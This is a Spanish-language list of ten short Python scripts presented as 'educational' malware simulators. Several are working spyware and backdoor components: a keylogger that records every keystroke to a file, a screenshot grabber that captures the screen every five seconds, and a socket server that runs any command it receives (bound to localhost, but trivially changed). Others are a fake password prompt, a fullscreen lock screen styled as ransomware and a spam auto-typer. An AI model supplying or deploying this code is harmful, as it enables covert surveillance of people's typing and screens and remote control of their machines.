

## ♦ 1. Keylogger básico

Registra las teclas presionadas y las guarda en un archivo de texto.

### Ejemplo:

```
from pynput import keyboard

def on_press(key):
    try:
        with open("registro_teclas.txt", "a") as log:
            log.write(f"{key.char}")
    except AttributeError:
        with open("registro_teclas.txt", "a") as log:
            log.write(f"[{key}]") # Para teclas especiales como Shift o Enter

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()
```

## ♦ 2. Capturador de pantalla

Cada cierto tiempo toma una captura de pantalla y la guarda en el sistema.

### Ejemplo

```
import pyautogui
```

```
import time
```

```
while True:
```

```
    screenshot = pyautogui.screenshot()
```

```
    screenshot.save("captura.png")
```

```
    time.sleep(5) # Toma una captura cada 5 segundos
```

### ♦ 3. Simulador de RAT (Remote Access Tool)

Abre una conexión y permite enviar comandos al sistema (solo en local).

#### **Ejemplo:**

```
import socket
```

```
import subprocess
```

```
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

```
server.bind(("127.0.0.1", 5555)) # Solo local
```

```
server.listen(1)
```

```
conn, addr = server.accept()
```

```
while True:
```

```
    command = conn.recv(1024).decode()
```

```
    if command.lower() == "exit":
```

```
        break
```

```
    output = subprocess.getoutput(command)
```

```
    conn.send(output.encode())
```

```
conn.close()
```

#### ♦ 4. Simulador de Phishing por CLI

Intenta capturar una "contraseña" simulada.

**Ejemplo:**

```
password = input("Introduce tu contraseña para actualizar el sistema: ")
```

```
print(f"Has introducido: {password}. Pero esto es solo un experimento educativo.")
```

## ♦ 5. Bloqueador de pantalla (Fake Ransomware)

Abre una ventana que impide cerrar el programa fácilmente.

### Ejemplo:

```
import tkinter as tk
```

```
root = tk.Tk()
```

```
root.attributes('-fullscreen', True) # Modo pantalla completa
```

```
tk.Label(root, text="Tu PC ha sido bloqueado", font=("Arial", 24)).pack()
```

```
root.mainloop()
```

## ♦ 6. Simulador de copia de archivos

Copiará archivos de una carpeta a otra sin hacer daño.

**Ejemplo:**

```
import shutil
```

```
shutil.copy("archivo_importante.txt", "copia_secreta.txt")
```

## ♦ 7. Script de mensajería automática

Envía mensajes simulando spam.

### **Ejemplo:**

```
import pyautogui
```

```
import time
```

```
time.sleep(5) # Tiempo para abrir un chat
```

```
for _ in range(10):
```

```
    pyautogui.write("¡Hola! Este es un mensaje automático.")
```

```
    pyautogui.press("enter")
```

## ♦ 8. Registro de direcciones IP

Guarda la IP de la máquina en un archivo.

**Ejemplo:**

```
import socket
```

```
ip = socket.gethostbyname(socket.gethostname())
```

```
with open("ip.txt", "w") as f:
```

```
    f.write(f"Tu IP: {ip}")
```



## ♦ 9. Falso actualizador del sistema

Simula la actualización del sistema con una barra de progreso falsa.

**Ejemplo:**

```
import time

print("Actualizando el sistema...")
for i in range(101):
    time.sleep(0.1)
    print(f"[{i}%] Completado")
print("Actualización finalizada.")
```

## ◆ 10. Descargador automático de archivos

Descarga archivos de internet.

**Ejemplo:**

```
import requests
```

```
url = "https://example.com/archivo.txt"
```

```
data = requests.get(url).content
```

```
with open("descarga.txt", "wb") as f:
```

```
    f.write(data)
```